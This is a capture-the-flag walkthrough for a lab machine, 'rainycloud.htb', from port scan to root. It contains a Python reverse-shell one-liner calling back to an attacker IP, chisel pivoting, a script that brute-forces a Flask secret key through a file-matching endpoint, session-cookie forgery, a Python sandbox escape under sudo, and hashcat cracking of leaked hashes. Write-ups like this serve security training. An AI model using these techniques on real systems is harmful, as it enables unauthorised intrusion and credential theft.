Scanning
> TARGET=10.129.59.24 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://rainycloud.htb
- Add rainycloud.htb to /etc/hosts
Web Enum
> dirsearch -u http://rainycloud.htb
[01:03:51] 308 - 239B - /api -> http://rainycloud.htb/api/
[01:03:52] 200 - 649B - /api/
[01:04:33] 200 - 3KB - /login
[01:04:34] 302 - 189B - /logout -> /
[01:04:41] 302 - 199B - /new -> /login
[01:04:56] 200 - 4KB - /register
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://rainycloud.htb/" -H "Host: FUZZ.rainycloud.htb"
000000019: 403 0 L 5 W 26 Ch "dev"
- On a login failure, the page source shows the following comments
<!-- Sign In Form -->
<!-- RainyCloud-4: TODO - Remove debug errors from prod -->
<h4> Error - Login Incorrect! <!-- /var/www/rainycloud/./app.py:288 --></h4>
- Found the following paths and corresponding hashes
http://rainycloud.htb/api/user/1.0
http://rainycloud.htb/api/user/2.0
http://rainycloud.htb/api/user/3.0
jack:$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O
root:$2a$05$x4nSvCqGHZBmBQnmNM2nXeWDzVvvsXaJiHsSv1pwZnxrcBFbOibZS
gary:$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG
rubberducky
gary
password hash can be cracked: rubberducky
> hashcat.exe -m 3200 hashes.txt rockyou.txt
- Once logged in as gary, go to the
http://rainycloud.htb/containers
page and create a new container with any name - Once the container is created,
Execute Command (background)
and you can enter a python reverse shell there
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Internal Network Discovery
# on kali
./chisel server -p 9999 --reverse
# on container
./chisel client --max-retry-count=1 <ip>:9999 R:1080:socks
> for p in {1..1024}; do proxychains -q nc -vn 172.18.0.1 $p -w 1 -z & done 2> output.txt
> cat output.txt| grep Connected
Ncat: Connected to 172.18.0.1:22.
Ncat: Connected to 172.18.0.1:80.
- From previous subdomain enum, there is a
dev
subdomain that returned a 403. However, we are able to reach it via the pivot.
> proxychains curl http://172.18.0.1/
- So, this means the site might be IP restricted; and the subdomain might be running on 172.18.0.1. To prove so, we need to pivot the remote port 172.18.0.1:80 onto local port.
- Change the chisel pivot on target to map a specific port
# on container
./chisel client --max-retry-count=1 <ip>:9999 R:8888:172.18.0.1:80
# on kali, add the following entry to /etc/hosts
127.0.0.1 dev.rainycloud.htb
- Now, browse to
http://dev.rainycloud.htb
, and we are able to see the dev page now.
Web Enum: dev
http://dev.rainycloud.htb:8888/api/
give some API information- There is a
/api/healthcheck
endpoint that supports POST methods and the parameters can be found be visiting the endpoint
{"result":true,"results":[{"file":"/bin/bash","pattern":{"type":"ELF"}},{"file":"/var/www/rainycloud/app.py","pattern":{"type":"PYTHON"}},{"file":"/var/www/rainycloud/sessions/db.sqlite","pattern":{"type":"SQLITE"}},{"file":"/etc/passwd","pattern":{"pattern":"^root.*","type":"CUSTOM"}}]}
- The
CUSTOM
option can be used to match patterns in a file, we can use this to find out the secret key that is used to encrypt the cookie and gain access as another user by crafting the cookie by ourselves.
> curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0u9bg.Z-xCrPK1O0uS4rXo5pLAKLOMuSU' -d 'file=/etc/passwd&type=custom&pattern=^root.*'
{"result":true,"results":[{"file":"/etc/passwd","pattern":{"pattern":"^root.*","type":"CUSTOM"}}]}
> wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt -b 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0u9bg.Z-xCrPK1O0uS4rXo5pLAKLOMuSU' -d 'file=/var/www/rainycloud/FUZZ.py&type=custom&pattern=^SECRET_KEY.*' --hc 500 http://dev.rainycloud.htb:8888/api/healthcheck
000000432: 200 1 L 1 W 120 Ch "app"
000003538: 200 1 L 1 W 123 Ch "secrets"
# confirm that SECRET_KEY is in secrets.py
> curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0u9bg.Z-xCrPK1O0uS4rXo5pLAKLOMuSU' -d 'file=/var/www/rainycloud/secrets.py&type=custom&pattern=^SECRET_KEY.*'
{"result":true,"results":[{"file":"/var/www/rainycloud/secrets.py","pattern":{"pattern":"^SECRET_KEY.*","type":"CUSTOM"}}]}
- Fuzz for SECRET_KEY,
f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67
import string
import requests
import json
allchars = string.printable
cookies = {'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y0u9bg.Z-xCrPK1O0uS4rXo5pLAKLOMuSU'}
s = requests.Session()
pattern = ""
while True:
for c in allchars:
try:
rsp = s.post('http://dev.rainycloud.htb:8888/api/healthcheck', {
'file': '/var/www/rainycloud/secrets.py',
'type': 'custom',
'pattern': "^SECRET_KEY = '" + pattern + c + ".*"
}, cookies=cookies)
if json.loads(rsp.content)['result']:
pattern += c
print(pattern)
break
else:
print(c)
except Exception:
print(rsp.content)
User flag: jack
- Generate session cookie for user
jack
using a tool called flask_session_cookie_manager
> flask_session_cookie_manager3.py encode -s f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67 -t "{'username': 'jack'}"
- Copy and paste the cookie into browser cookie and login as jack, then you can repeat the previouse foothold process to access the secrets container.
- Upload
pspy64
and monitor the background processes, there is a sleep
command with excessively long time
2022/10/17 01:24:20 CMD: UID=1000 PID=1200 | sleep 100000000
- Explore this
proc
for info found that it has a mount on the host folder where you can find the private key of jack
> /proc/1200/root/home/jack/.ssh/id_rsa
- Login as jack to fetch the user flag
PE: jack_adm
- A command can be run as jack_adm
jack@rainyday:~$ sudo -l
Matching Defaults entries for jack on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on localhost:
(jack_adm) NOPASSWD: /usr/bin/safe_python *
- This is a python sandbox escape scenario, where some keywords are filtered out. So, the typical approach is to re-load back the filtered builtins, and aim to import
os
# ().__class__.__mro__[1].__subclasses__()[144] -> warnings.catch_warnings
# https://www.reelix.za.net/2021/04/the-craziest-python-sandbox-escape.html
> echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test
PE: root
- Check commands that can be run as root
jack_adm@rainyday:/home/jack$ sudo -l
Matching Defaults entries for jack_adm on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack_adm may run the following commands on localhost:
(root) NOPASSWD: /opt/hash_system/hash_password.py
- Run the python script and leave the password blank, it will generate a random hash, save the hash to a file
> sudo /opt/hash_system/hash_password.py
Enter Password>
[+] Hash: $2b$05$x/p3650lBcUeg5PvP1PpmO2aLexNeNW.yU3Z.YRFph.ZEnR8ZUO0G
- Prepare the wordlist to crack this hash and crack it, this will take a while, be patient
# SecLists/Passwords/Leaked-Databases/md5decryptor-uk.txt
> hashcat -m 3200 hash.txt md5decryptor-uk.txt
- This will crack a salt value (
Sup3rDup3r
) used to encrypt the password, this can be used to crack the root password previously obtained from /api/user/3.0
. - Re-generate the wordlist with salt and crack the root hash:
246813579Sup3rDup3r
> sed 's/$/Sup3rDup3r/' /usr/share/wordlists/rockyou.txt > newrockyou.txt
> hashcat -m 3200 hash.txt newrockyou.txt
- Once the hash is crack, you can login as root and fetch the flag
> su root